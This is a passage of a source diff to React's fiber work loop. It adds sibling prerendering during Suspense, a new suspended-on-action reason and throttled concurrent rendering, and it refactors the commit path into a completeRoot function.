-          SuspendedOnImmediate;
+    // TODO: Suspending the work loop during the render phase is
+    // currently not compatible with sibling prerendering. We will add
+    // this optimization back in a later step.
+    // Don't suspend work loop, except to check if the data has
+    // immediately resolved (i.e. in a microtask). Otherwise, trigger the
+    // nearest Suspense fallback.
+    workInProgressSuspendedReason = SuspendedOnImmediate;
   } else if (thrownValue === SuspenseyCommitException) {
     thrownValue = getSuspendedThenable();
     workInProgressSuspendedReason = SuspendedOnInstance;
@@ -1764,7 +2362,7 @@ function handleThrow(root: FiberRoot, thrownValue: any): void {
     // Record the time spent rendering before an error was thrown. This
     // avoids inaccurate Profiler durations in the case of a
     // suspended render.
-    stopProfilerTimerIfRunningAndRecordDelta(erroredWork, true);
+    stopProfilerTimerIfRunningAndRecordDuration(erroredWork);
   }
 
   if (enableSchedulingProfiler) {
@@ -1779,6 +2377,7 @@ function handleThrow(root: FiberRoot, thrownValue: any): void {
         break;
       }
       case SuspendedOnData:
+      case SuspendedOnAction:
       case SuspendedOnImmediate:
       case SuspendedOnDeprecatedThrowPromise:
       case SuspendedAndReadyToContinue: {
@@ -1883,21 +2482,34 @@ function popDispatcher(prevDispatcher: any) {
 }
 
 function pushAsyncDispatcher() {
-  if (enableCache || __DEV__ || !disableStringRefs) {
-    const prevAsyncDispatcher = ReactSharedInternals.A;
-    ReactSharedInternals.A = DefaultAsyncDispatcher;
-    return prevAsyncDispatcher;
-  } else {
-    return null;
-  }
+  const prevAsyncDispatcher = ReactSharedInternals.A;
+  ReactSharedInternals.A = DefaultAsyncDispatcher;
+  return prevAsyncDispatcher;
 }
 
 function popAsyncDispatcher(prevAsyncDispatcher: any) {
-  if (enableCache || __DEV__ || !disableStringRefs) {
-    ReactSharedInternals.A = prevAsyncDispatcher;
+  ReactSharedInternals.A = prevAsyncDispatcher;
+}
+
+export function markRenderDerivedCause(fiber: Fiber): void {
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if (__DEV__) {
+      if (workInProgressUpdateTask === null) {
+        // If we don't have a cause associated with this render, it's likely because some
+        // other render left work behind on this Fiber. The real cause is this Fiber itself.
+        // We use its debugTask as the cause for this render. This might not be the only
+        // one when multiple siblings are rendered but they ideally shouldn't be.
+        workInProgressUpdateTask =
+          fiber._debugTask == null ? null : fiber._debugTask;
+      }
+    }
   }
 }
 
+export function markTransitionStarted() {
+  globalMostRecentTransitionTime = now();
+}
+
 export function markCommitTimeOfFallback() {
   globalMostRecentFallbackTime = now();
 }
@@ -1918,6 +2530,23 @@ export function renderDidSuspend(): void {
 export function renderDidSuspendDelayIfPossible(): void {
   workInProgressRootExitStatus = RootSuspendedWithDelay;
 
+  if (
+    !workInProgressRootDidSkipSuspendedSiblings &&
+    // Check if the root will be blocked from committing.
+    // TODO: Consider aligning this better with the rest of the logic. Maybe
+    // we should only set the exit status to RootSuspendedWithDelay if this
+    // condition is true? And remove the equivalent checks elsewhere.
+    (includesOnlyTransitions(workInProgressRootRenderLanes) ||
+      getSuspenseHandler() === null)
+  ) {
+    // This render may not have originally been scheduled as a prerender, but
+    // something suspended inside the visible part of the tree, which means we
+    // won't be able to commit a fallback anyway. Let's proceed as if this were
+    // a prerender so that we can warm up the siblings without scheduling a
+    // separate pass.
+    workInProgressRootIsPrerendering = true;
+  }
+
   // Check if there are updates that we skipped tree that might have unblocked
   // this render.
   if (
@@ -1934,10 +2563,12 @@ export function renderDidSuspendDelayIfPossible(): void {
     // pinged or updated while we were rendering.
     // TODO: Consider unwinding immediately, using the
     // SuspendedOnHydration mechanism.
+    const didAttemptEntireTree = false;
     markRootSuspended(
       workInProgressRoot,
       workInProgressRootRenderLanes,
       workInProgressDeferredLane,
+      didAttemptEntireTree,
     );
   }
 }
@@ -1967,7 +2598,11 @@ export function renderHasNotSuspendedYet(): boolean {
 // TODO: Over time, this function and renderRootConcurrent have become more
 // and more similar. Not sure it makes sense to maintain forked paths. Consider
 // unifying them again.
-function renderRootSync(root: FiberRoot, lanes: Lanes) {
+function renderRootSync(
+  root: FiberRoot,
+  lanes: Lanes,
+  shouldYieldForPrerendering: boolean,
+): RootExitStatus {
   const prevExecutionContext = executionContext;
   executionContext |= RenderContext;
   const prevDispatcher = pushDispatcher(root.containerInfo);
@@ -1996,17 +2631,12 @@ function renderRootSync(root: FiberRoot, lanes: Lanes) {
     prepareFreshStack(root, lanes);
   }
 
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      logRenderStarted(lanes);
-    }
-  }
-
   if (enableSchedulingProfiler) {
     markRenderStarted(lanes);
   }
 
   let didSuspendInShell = false;
+  let exitStatus = workInProgressRootExitStatus;
   outer: do {
     try {
       if (
@@ -2028,27 +2658,50 @@ function renderRootSync(root: FiberRoot, lanes: Lanes) {
             // Selective hydration. An update flowed into a dehydrated tree.
             // Interrupt the current render so the work loop can switch to the
             // hydration lane.
+            // TODO: I think we might not need to reset the stack here; we can
+            // just yield and reset the stack when we re-enter the work loop,
+            // like normal.
             resetWorkInProgressStack();
-            workInProgressRootExitStatus = RootDidNotComplete;
+            exitStatus = RootSuspendedAtTheShell;
             break outer;
           }
           case SuspendedOnImmediate:
-          case SuspendedOnData: {
-            if (!didSuspendInShell && getSuspenseHandler() === null) {
+          case SuspendedOnData:
+          case SuspendedOnAction:
+          case SuspendedOnDeprecatedThrowPromise: {
+            if (getSuspenseHandler() === null) {
               didSuspendInShell = true;
             }
-            // Intentional fallthrough
+            const reason = workInProgressSuspendedReason;
+            workInProgressSuspendedReason = NotSuspended;
+            workInProgressThrownValue = null;
+            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue, reason);
+            if (
+              shouldYieldForPrerendering &&
+              workInProgressRootIsPrerendering
+            ) {
+              // We've switched into prerendering mode. This implies that we
+              // suspended outside of a Suspense boundary, which means this
+              // render will be blocked from committing. Yield to the main
+              // thread so we can switch to prerendering using the concurrent
+              // work loop.
+              exitStatus = RootInProgress;
+              break outer;
+            }
+            break;
           }
           default: {
             // Unwind then continue with the normal work loop.
+            const reason = workInProgressSuspendedReason;
             workInProgressSuspendedReason = NotSuspended;
             workInProgressThrownValue = null;
-            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue);
+            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue, reason);
             break;
           }
         }
       }
       workLoopSync();
+      exitStatus = workInProgressRootExitStatus;
       break;
     } catch (thrownValue) {
       handleThrow(root, thrownValue);
@@ -2071,32 +2724,25 @@ function renderRootSync(root: FiberRoot, lanes: Lanes) {
   popDispatcher(prevDispatcher);
   popAsyncDispatcher(prevAsyncDispatcher);
 
-  if (workInProgress !== null) {
-    // This is a sync render, so we should have finished the whole tree.
-    throw new Error(
-      'Cannot commit an incomplete root. This error is likely caused by a ' +
-        'bug in React. Please file an issue.',
-    );
-  }
-
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      logRenderStopped();
-    }
-  }
-
   if (enableSchedulingProfiler) {
     markRenderStopped();
   }
 
-  // Set this to null to indicate there's no in-progress render.
-  workInProgressRoot = null;
-  workInProgressRootRenderLanes = NoLanes;
+  if (workInProgress !== null) {
+    // Did not complete the tree. This can happen if something suspended in
+    // the shell.
+  } else {
+    // Normal case. We completed the whole tree.
 
-  // It's safe to process the queue now that the render phase is complete.
-  finishQueueingConcurrentUpdates();
+    // Set this to null to indicate there's no in-progress render.
+    workInProgressRoot = null;
+    workInProgressRootRenderLanes = NoLanes;
+
+    // It's safe to process the queue now that the render phase is complete.
+    finishQueueingConcurrentUpdates();
+  }
 
-  return workInProgressRootExitStatus;
+  return exitStatus;
 }
 
 // The work loop is an extremely hot path. Tell Closure not to inline it.
@@ -2108,7 +2754,7 @@ function workLoopSync() {
   }
 }
 
-function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
+function renderRootConcurrent(root: FiberRoot, lanes: Lanes): RootExitStatus {
   const prevExecutionContext = executionContext;
   executionContext |= RenderContext;
   const prevDispatcher = pushDispatcher(root.containerInfo);
@@ -2134,14 +2780,15 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
     }
 
     workInProgressTransitions = getTransitionsForLanes(root, lanes);
+
     resetRenderTimer();
     prepareFreshStack(root, lanes);
-  }
-
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      logRenderStarted(lanes);
-    }
+  } else {
+    // This is a continuation of an existing work-in-progress.
+    //
+    // If we were previously in prerendering mode, check if we received any new
+    // data during an interleaved event.
+    workInProgressRootIsPrerendering = checkIfRootIsPrerendering(root, lanes);
   }
 
   if (enableSchedulingProfiler) {
@@ -2163,10 +2810,16 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
             // Unwind then continue with the normal work loop.
             workInProgressSuspendedReason = NotSuspended;
             workInProgressThrownValue = null;
-            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue);
+            throwAndUnwindWorkLoop(
+              root,
+              unitOfWork,
+              thrownValue,
+              SuspendedOnError,
+            );
             break;
           }
-          case SuspendedOnData: {
+          case SuspendedOnData:
+          case SuspendedOnAction: {
             const thenable: Thenable<mixed> = (thrownValue: any);
             if (isThenableResolved(thenable)) {
               // The data resolved. Try rendering the component again.
@@ -2184,7 +2837,8 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
             const onResolution = () => {
               // Check if the root is still suspended on this promise.
               if (
-                workInProgressSuspendedReason === SuspendedOnData &&
+                (workInProgressSuspendedReason === SuspendedOnData ||
+                  workInProgressSuspendedReason === SuspendedOnAction) &&
                 workInProgressRoot === root
               ) {
                 // Mark the root as ready to continue rendering.
@@ -2221,7 +2875,12 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
               // Otherwise, unwind then continue with the normal work loop.
               workInProgressSuspendedReason = NotSuspended;
               workInProgressThrownValue = null;
-              throwAndUnwindWorkLoop(root, unitOfWork, thrownValue);
+              throwAndUnwindWorkLoop(
+                root,
+                unitOfWork,
+                thrownValue,
+                SuspendedAndReadyToContinue,
+              );
             }
             break;
           }
@@ -2245,7 +2904,7 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
                 const props = hostFiber.pendingProps;
                 const isReady = resource
                   ? preloadResource(resource)
-                  : preloadInstance(type, props);
+                  : preloadInstance(hostFiber.stateNode, type, props);
                 if (isReady) {
                   // The data resolved. Resume the work loop as if nothing
                   // suspended. Unlike when a user component suspends, we don't
@@ -2284,7 +2943,12 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
             // Otherwise, unwind then continue with the normal work loop.
             workInProgressSuspendedReason = NotSuspended;
             workInProgressThrownValue = null;
-            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue);
+            throwAndUnwindWorkLoop(
+              root,
+              unitOfWork,
+              thrownValue,
+              SuspendedOnInstanceAndReadyToContinue,
+            );
             break;
           }
           case SuspendedOnDeprecatedThrowPromise: {
@@ -2294,7 +2958,12 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
             // always unwind.
             workInProgressSuspendedReason = NotSuspended;
             workInProgressThrownValue = null;
-            throwAndUnwindWorkLoop(root, unitOfWork, thrownValue);
+            throwAndUnwindWorkLoop(
+              root,
+              unitOfWork,
+              thrownValue,
+              SuspendedOnDeprecatedThrowPromise,
+            );
             break;
           }
           case SuspendedOnHydration: {
@@ -2302,7 +2971,7 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
             // Interrupt the current render so the work loop can switch to the
             // hydration lane.
             resetWorkInProgressStack();
-            workInProgressRootExitStatus = RootDidNotComplete;
+            workInProgressRootExitStatus = RootSuspendedAtTheShell;
             break outer;
           }
           default: {
@@ -2320,8 +2989,10 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
         // can't trust the result of `shouldYield`, because the host I/O is
         // likely mocked.
         workLoopSync();
+      } else if (enableThrottledScheduling) {
+        workLoopConcurrent(includesNonIdleWork(lanes));
       } else {
-        workLoopConcurrent();
+        workLoopConcurrentByScheduler();
       }
       break;
     } catch (thrownValue) {
@@ -2334,12 +3005,6 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
   popAsyncDispatcher(prevAsyncDispatcher);
   executionContext = prevExecutionContext;
 
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      logRenderStopped();
-    }
-  }
-
   // Check if the tree has completed.
   if (workInProgress !== null) {
     // Still work remaining.
@@ -2366,10 +3031,27 @@ function renderRootConcurrent(root: FiberRoot, lanes: Lanes) {
 }
 
 /** @noinline */
-function workLoopConcurrent() {
+function workLoopConcurrent(nonIdle: boolean) {
+  // We yield every other "frame" when rendering Transition or Retries. Those are blocking
+  // revealing new content. The purpose of this yield is not to avoid the overhead of yielding,
+  // which is very low, but rather to intentionally block any frequently occurring other main
+  // thread work like animations from starving our work. In other words, the purpose of this
+  // is to reduce the framerate of animations to 30 frames per second.
+  // For Idle work we yield every 5ms to keep animations going smooth.
+  if (workInProgress !== null) {
+    const yieldAfter = now() + (nonIdle ? 25 : 5);
+    do {
+      // $FlowFixMe[incompatible-call] flow doesn't know that now() is side-effect free
+      performUnitOfWork(workInProgress);
+    } while (workInProgress !== null && now() < yieldAfter);
+  }
+}
+
+/** @noinline */
+function workLoopConcurrentByScheduler() {
   // Perform work until Scheduler asks us to yield
   while (workInProgress !== null && !shouldYield()) {
-    // $FlowFixMe[incompatible-call] found when upgrading Flow
+    // $FlowFixMe[incompatible-call] flow doesn't know that shouldYield() is side-effect free
     performUnitOfWork(workInProgress);
   }
 }
@@ -2394,7 +3076,7 @@ function performUnitOfWork(unitOfWork: Fiber): void {
     } else {
       next = beginWork(current, unitOfWork, entangledRenderLanes);
     }
-    stopProfilerTimerIfRunningAndRecordDelta(unitOfWork, true);
+    stopProfilerTimerIfRunningAndRecordDuration(unitOfWork);
   } else {
     if (__DEV__) {
       next = runWithFiberInDEV(
@@ -2409,9 +3091,6 @@ function performUnitOfWork(unitOfWork: Fiber): void {
     }
   }
 
-  if (!disableStringRefs) {
-    resetCurrentFiber();
-  }
   unitOfWork.memoizedProps = unitOfWork.pendingProps;
   if (next === null) {
     // If this doesn't spawn new work, complete the current work.
@@ -2431,11 +3110,6 @@ function replaySuspendedUnitOfWork(unitOfWork: Fiber): void {
     next = replayBeginWork(unitOfWork);
   }
 
-  // The begin phase finished successfully without suspending. Return to the
-  // normal work loop.
-  if (!disableStringRefs) {
-    resetCurrentFiber();
-  }
   unitOfWork.memoizedProps = unitOfWork.pendingProps;
   if (next === null) {
     // If this doesn't spawn new work, complete the current work.
@@ -2465,12 +3139,6 @@ function replayBeginWork(unitOfWork: Fiber): null | Fiber {
       // could maybe use this as an opportunity to say `use` doesn't work with
       // `defaultProps` :)
       const Component = unitOfWork.type;
-      const unresolvedProps = unitOfWork.pendingProps;
-      const resolvedProps =
-        disableDefaultPropsExceptForClasses ||
-        unitOfWork.elementType === Component
-          ? unresolvedProps
-          : resolveDefaultPropsOnNonClassComponent(Component, unresolvedProps);
       let context: any;
       if (!disableLegacyContext) {
         const unmaskedContext = getUnmaskedContext(unitOfWork, Component, true);
@@ -2479,7 +3147,7 @@ function replayBeginWork(unitOfWork: Fiber): null | Fiber {
       next = replayFunctionComponent(
         current,
         unitOfWork,
-        resolvedProps,
+        unitOfWork.pendingProps,
         Component,
         context,
         workInProgressRootRenderLanes,
@@ -2492,17 +3160,10 @@ function replayBeginWork(unitOfWork: Fiber): null | Fiber {
       // could maybe use this as an opportunity to say `use` doesn't work with
       // `defaultProps` :)
       const Component = unitOfWork.type.render;
-      const unresolvedProps = unitOfWork.pendingProps;
-      const resolvedProps =
-        disableDefaultPropsExceptForClasses ||
-        unitOfWork.elementType === Component
-          ? unresolvedProps
-          : resolveDefaultPropsOnNonClassComponent(Component, unresolvedProps);
-
       next = replayFunctionComponent(
         current,
         unitOfWork,
-        resolvedProps,
+        unitOfWork.pendingProps,
         Component,
         unitOfWork.ref,
         workInProgressRootRenderLanes,
@@ -2517,6 +3178,10 @@ function replayBeginWork(unitOfWork: Fiber): null | Fiber {
       // promises that a host component might suspend on are definitely cached
       // because they are controlled by us. So don't bother.
       resetHooksOnUnwind(unitOfWork);
+      // We are about to retry this host component and need to ensure the hydration
+      // state is appropriate for hydrating this unit. Other fiber types hydrate differently
+      // and aren't reliant on the cursor positioning so this function is only for HostComponent
+      popHydrationStateOnInterruptedWork(unitOfWork);
       // Fallthrough to the next branch.
     }
     default: {
@@ -2538,7 +3203,7 @@ function replayBeginWork(unitOfWork: Fiber): null | Fiber {
     }
   }
   if (isProfilingMode) {
-    stopProfilerTimerIfRunningAndRecordDelta(unitOfWork, true);
+    stopProfilerTimerIfRunningAndRecordDuration(unitOfWork);
   }
 
   return next;
@@ -2548,6 +3213,7 @@ function throwAndUnwindWorkLoop(
   root: FiberRoot,
   unitOfWork: Fiber,
   thrownValue: mixed,
+  suspendedReason: SuspendedReason,
 ) {
   // This is a fork of performUnitOfWork specifcally for unwinding a fiber
   // that threw an exception.
@@ -2587,7 +3253,56 @@ function throwAndUnwindWorkLoop(
 
   if (unitOfWork.flags & Incomplete) {
     // Unwind the stack until we reach the nearest boundary.
-    unwindUnitOfWork(unitOfWork);
+    let skipSiblings;
+
+    if (
+      // The current algorithm for both hydration and error handling assumes
+      // that the tree is rendered sequentially. So we always skip the siblings.
+      getIsHydrating() ||
+      suspendedReason === SuspendedOnError
+    ) {
+      skipSiblings = true;
+      // We intentionally don't set workInProgressRootDidSkipSuspendedSiblings,
+      // because we don't want to trigger another prerender attempt.
+    } else if (
+      // Check whether this is a prerender
+      !workInProgressRootIsPrerendering &&
+      // Offscreen rendering is also a form of speculative rendering
+      !includesSomeLane(workInProgressRootRenderLanes, OffscreenLane)
+    ) {
+      // This is not a prerender. Skip the siblings during this render. A
+      // separate prerender will be scheduled for later.
+      skipSiblings = true;
+      workInProgressRootDidSkipSuspendedSiblings = true;
+
+      // Because we're skipping the siblings, schedule an immediate retry of
+      // this boundary.
+      //
+      // The reason we do this is because a prerender is only scheduled when
+      // the root is blocked from committing, i.e. RootSuspendedWithDelay.
+      // When the root is not blocked, as in the case when we render a
+      // fallback, the original lane is considered to be finished, and
+      // therefore no longer in need of being prerendered. However, there's
+      // still a pending retry that will happen once the data streams in.
+      // We should start rendering that even before the data streams in so we
+      // can prerender the siblings.
+      if (
+        suspendedReason === SuspendedOnData ||
+        suspendedReason === SuspendedOnAction ||
+        suspendedReason === SuspendedOnImmediate ||
+        suspendedReason === SuspendedOnDeprecatedThrowPromise
+      ) {
+        const boundary = getSuspenseHandler();
+        if (boundary !== null && boundary.tag === SuspenseComponent) {
+          boundary.flags |= ScheduleRetry;
+        }
+      }
+    } else {
+      // This is a prerender. Don't skip the siblings.
+      skipSiblings = false;
+    }
+
+    unwindUnitOfWork(unitOfWork, skipSiblings);
   } else {
     // Although the fiber suspended, we're intentionally going to commit it in
     // an inconsistent state. We can do this safely in cases where we know the
@@ -2602,6 +3317,16 @@ function throwAndUnwindWorkLoop(
   }
 }
 
+export function markSpawnedRetryLane(lane: Lane): void {
+  // Keep track of the retry lanes that were spawned by a fallback during the
+  // current render and were not later pinged. This will represent the lanes
+  // that are known to still be suspended.
+  workInProgressSuspendedRetryLanes = mergeLanes(
+    workInProgressSuspendedRetryLanes,
+    lane,
+  );
+}
+
 function panicOnRootError(root: FiberRoot, error: mixed) {
   // There's no ancestor that can handle this exception. This should never
   // happen because the root is supposed to capture all errors that weren't
@@ -2623,15 +3348,16 @@ function completeUnitOfWork(unitOfWork: Fiber): void {
   // sibling. If there are no more siblings, return to the parent fiber.
   let completedWork: Fiber = unitOfWork;
   do {
-    if (__DEV__) {
-      if ((completedWork.flags & Incomplete) !== NoFlags) {
-        // NOTE: If we re-enable sibling prerendering in some cases, this branch
-        // is where we would switch to the unwinding path.
-        console.error(
-          'Internal React error: Expected this fiber to be complete, but ' +
-            "it isn't. It should have been unwound. This is a bug in React.",
-        );
-      }
+    if ((completedWork.flags & Incomplete) !== NoFlags) {
+      // This fiber did not complete, because one of its children did not
+      // complete. Switch to unwinding the stack instead of completing it.
+      //
+      // The reason "unwind" and "complete" is interleaved is because when
+      // something suspends, we continue rendering the siblings even though
+      // they will be replaced by a fallback.
+      const skipSiblings = workInProgressRootDidSkipSuspendedSiblings;
+      unwindUnitOfWork(completedWork, skipSiblings);
+      return;
     }
 
     // The current, flushed, state of this fiber is the alternate. Ideally
@@ -2641,35 +3367,22 @@ function completeUnitOfWork(unitOfWork: Fiber): void {
     const returnFiber = completedWork.return;
 
     let next;
-    if (!enableProfilerTimer || (completedWork.mode & ProfileMode) === NoMode) {
-      if (__DEV__) {
-        next = runWithFiberInDEV(
-          completedWork,
-          completeWork,
-          current,
-          completedWork,
-          entangledRenderLanes,
-        );
-      } else {
-        next = completeWork(current, completedWork, entangledRenderLanes);
-      }
+    startProfilerTimer(completedWork);
+    if (__DEV__) {
+      next = runWithFiberInDEV(
+        completedWork,
+        completeWork,
+        current,
+        completedWork,
+        entangledRenderLanes,
+      );
     } else {
-      startProfilerTimer(completedWork);
-      if (__DEV__) {
-        next = runWithFiberInDEV(
-          completedWork,
-          completeWork,
-          current,
-          completedWork,
-          entangledRenderLanes,
-        );
-      } else {
-        next = completeWork(current, completedWork, entangledRenderLanes);
-      }
+      next = completeWork(current, completedWork, entangledRenderLanes);
+    }
+    if (enableProfilerTimer && (completedWork.mode & ProfileMode) !== NoMode) {
       // Update render duration assuming we didn't error.
-      stopProfilerTimerIfRunningAndRecordDelta(completedWork, false);
+      stopProfilerTimerIfRunningAndRecordIncompleteDuration(completedWork);
     }
-
     if (next !== null) {
       // Completing this fiber spawned new work. Work on that next.
       workInProgress = next;
@@ -2695,7 +3408,7 @@ function completeUnitOfWork(unitOfWork: Fiber): void {
   }
 }
 
-function unwindUnitOfWork(unitOfWork: Fiber): void {
+function unwindUnitOfWork(unitOfWork: Fiber, skipSiblings: boolean): void {
   let incompleteWork: Fiber = unitOfWork;
   do {
     // The current, flushed, state of this fiber is the alternate. Ideally
@@ -2725,7 +3438,7 @@ function unwindUnitOfWork(unitOfWork: Fiber): void {
 
     if (enableProfilerTimer && (incompleteWork.mode & ProfileMode) !== NoMode) {
       // Record the render duration for the fiber that errored.
-      stopProfilerTimerIfRunningAndRecordDelta(incompleteWork, false);
+      stopProfilerTimerIfRunningAndRecordIncompleteDuration(incompleteWork);
 
       // Include the time spent working on failed children before continuing.
       let actualDuration = incompleteWork.actualDuration;
@@ -2752,9 +3465,14 @@ function unwindUnitOfWork(unitOfWork: Fiber): void {
       returnFiber.deletions = null;
     }
 
-    // NOTE: If we re-enable sibling prerendering in some cases, here we
-    // would switch to the normal completion path: check if a sibling
-    // exists, and if so, begin work on it.
+    if (!skipSiblings) {
+      const siblingFiber = incompleteWork.sibling;
+      if (siblingFiber !== null) {
+        // This branch will return us to the normal work loop.
+        workInProgress = siblingFiber;
+        return;
+      }
+    }
 
     // Otherwise, return to the parent
     // $FlowFixMe[incompatible-type] we bail out when we get a null
@@ -2764,48 +3482,29 @@ function unwindUnitOfWork(unitOfWork: Fiber): void {
   } while (incompleteWork !== null);
 
   // We've unwound all the way to the root.
-  workInProgressRootExitStatus = RootDidNotComplete;
+  workInProgressRootExitStatus = RootSuspendedAtTheShell;
   workInProgress = null;
 }
 
-function commitRoot(
+function completeRoot(
   root: FiberRoot,
+  finishedWork: null | Fiber,
+  lanes: Lanes,
   recoverableErrors: null | Array<CapturedValue<mixed>>,
   transitions: Array<Transition> | null,
   didIncludeRenderPhaseUpdate: boolean,
   spawnedLane: Lane,
-) {
-  // TODO: This no longer makes any sense. We already wrap the mutation and
-  // layout phases. Should be able to remove.
-  const prevTransition = ReactSharedInternals.T;
-  const previousUpdateLanePriority = getCurrentUpdatePriority();
-  try {
-    setCurrentUpdatePriority(DiscreteEventPriority);
-    ReactSharedInternals.T = null;
-    commitRootImpl(
-      root,
-      recoverableErrors,
-      transitions,
-      didIncludeRenderPhaseUpdate,
-      previousUpdateLanePriority,
-      spawnedLane,
-    );
-  } finally {
-    ReactSharedInternals.T = prevTransition;
-    setCurrentUpdatePriority(previousUpdateLanePriority);
-  }
-
-  return null;
-}
+  updatedLanes: Lanes,
+  suspendedRetryLanes: Lanes,
+  didSkipSuspendedSiblings: boolean,
+  exitStatus: RootExitStatus,
+  suspendedState: null | SuspendedState,
+  suspendedCommitReason: SuspendedCommitReason, // Profiling-only
+  completedRenderStartTime: number, // Profiling-only
+  completedRenderEndTime: number, // Profiling-only
+): void {
+  root.cancelPendingCommit = null;
 
-function commitRootImpl(
-  root: FiberRoot,
-  recoverableErrors: null | Array<CapturedValue<mixed>>,
-  transitions: Array<Transition> | null,
-  didIncludeRenderPhaseUpdate: boolean,
-  renderPriorityLevel: EventPriority,
-  spawnedLane: Lane,
-) {
   do {
     // `flushPassiveEffects` will call `flushSyncUpdateQueue` at the end, which
     // means `flushPassiveEffects` will sometimes result in additional
@@ -2813,20 +3512,55 @@ function commitRootImpl(
     // no more pending effects.
     // TODO: Might be better if `flushPassiveEffects` did not automatically
     // flush synchronous work at the end, to avoid factoring hazards like this.
-    flushPassiveEffects();
-  } while (rootWithPendingPassiveEffects !== null);
+    flushPendingEffects();
+  } while (pendingEffectsStatus !== NO_PENDING_EFFECTS);
   flushRenderPhaseStrictModeWarningsInDEV();
 
   if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
     throw new Error('Should not already be working.');
   }
 
-  const finishedWork = root.finishedWork;
-  const lanes = root.finishedLanes;
-
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      logCommitStarted(lanes);
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // Log the previous render phase once we commit. I.e. we weren't interrupted.
+    setCurrentTrackFromLanes(lanes);
+    if (isGestureRender(lanes)) {
+      // Clamp the render start time in case if something else on this lane was committed
+      // (such as this same tree before).
+      if (completedRenderStartTime < gestureClampTime) {
+        completedRenderStartTime = gestureClampTime;
+      }
+      if (completedRenderEndTime < gestureClampTime) {
+        completedRenderEndTime = gestureClampTime;
+      }
+    }
+    if (exitStatus === RootErrored) {
+      logErroredRenderPhase(
+        completedRenderStartTime,
+        completedRenderEndTime,
+        lanes,
+        workInProgressUpdateTask,
+      );
+    } else if (recoverableErrors !== null) {
+      const hydrationFailed =
+        finishedWork !== null &&
+        finishedWork.alternate !== null &&
+        (finishedWork.alternate.memoizedState: RootState).isDehydrated &&
+        (finishedWork.flags & ForceClientRender) !== NoFlags;
+      logRecoveredRenderPhase(
+        completedRenderStartTime,
+        completedRenderEndTime,
+        lanes,
+        recoverableErrors,
+        hydrationFailed,
+        workInProgressUpdateTask,
+      );
+    } else {
+      logRenderPhase(
+        completedRenderStartTime,
+        completedRenderEndTime,
+        lanes,
+        workInProgressUpdateTask,
+      );
     }
   }
 
@@ -2835,29 +3569,26 @@ function commitRootImpl(
   }
 
   if (finishedWork === null) {
-    if (__DEV__) {
-      if (enableDebugTracing) {
-        logCommitStopped();
-      }
-    }
-
     if (enableSchedulingProfiler) {
       markCommitStopped();
     }
-
-    return null;
+    if (enableGestureTransition) {
+      // Stop any gestures that were committed.
+      if (isGestureRender(lanes)) {
+        stopCommittedGesture(root);
+      }
+    }
+    return;
   } else {
     if (__DEV__) {
       if (lanes === NoLanes) {
         console.error(
-          'root.finishedLanes should not be empty during a commit. This is a ' +
+          'finishedLanes should not be empty during a commit. This is a ' +
             'bug in React.',
         );
       }
     }
   }
-  root.finishedWork = null;
-  root.finishedLanes = NoLanes;
 
   if (finishedWork === root.current) {
     throw new Error(
@@ -2866,57 +3597,199 @@ function commitRootImpl(
     );
   }
 
-  // commitRoot never returns a continuation; it always finishes synchronously.
-  // So we can clear these now to allow a new callback to be scheduled.
-  root.callbackNode = null;
-  root.callbackPriority = NoLane;
-  root.cancelPendingCommit = null;
+  if (root === workInProgressRoot) {
+    // We can reset these now that they are finished.
+    workInProgressRoot = null;
+    workInProgress = null;
+    workInProgressRootRenderLanes = NoLanes;
+  } else {
+    // This indicates that the last root we worked on is not the same one that
+    // we're committing now. This most commonly happens when a suspended root
+    // times out.
+  }
+
+  // workInProgressX might be overwritten, so we want
+  // to store it in pendingPassiveX until they get processed
+  // We need to pass this through as an argument to completeRoot
+  // because workInProgressX might have changed between
+  // the previous render and commit if we throttle the commit
+  // with setTimeout
+  pendingFinishedWork = finishedWork;
+  pendingEffectsRoot = root;
+  pendingEffectsLanes = lanes;
+  pendingPassiveTransitions = transitions;
+  pendingRecoverableErrors = recoverableErrors;
+  pendingDidIncludeRenderPhaseUpdate = didIncludeRenderPhaseUpdate;
+  if (enableProfilerTimer) {
+    pendingEffectsRenderEndTime = completedRenderEndTime;
+    pendingSuspendedCommitReason = suspendedCommitReason;
+    pendingDelayedCommitReason = IMMEDIATE_COMMIT;
+    pendingSuspendedViewTransitionReason = null;
+  }
+
+  if (enableGestureTransition && isGestureRender(lanes)) {
+    const committingGesture = root.pendingGestures;
+    if (committingGesture !== null && !committingGesture.committing) {
+      // This gesture is not ready to commit yet. We'll mark it as suspended and
+      // start a gesture transition which isn't really a side-effect. Then later
+      // we might come back around to actually committing the root.
+      const didAttemptEntireTree = !didSkipSuspendedSiblings;
+      markRootSuspended(root, lanes, spawnedLane, didAttemptEntireTree);
+      if (committingGesture.running === null) {
+        applyGestureOnRoot(
+          root,
+          finishedWork,
+          recoverableErrors,
+          suspendedState,
+          enableProfilerTimer
+            ? suspendedCommitReason === null
+              ? completedRenderEndTime
+              : commitStartTime
+            : 0,
+        );
+      } else {
+        // If we already have a gesture running, we don't update it in place
+        // even if we have a new tree. Instead we wait until we can commit.
+        if (enableProfilerTimer && enableComponentPerformanceTrack) {
+          // Clamp at the render time since we're not going to finish the rest
+          // of this commit or apply yet.
+          finalizeRender(lanes, completedRenderEndTime);
+        }
+        // We are no longer committing.
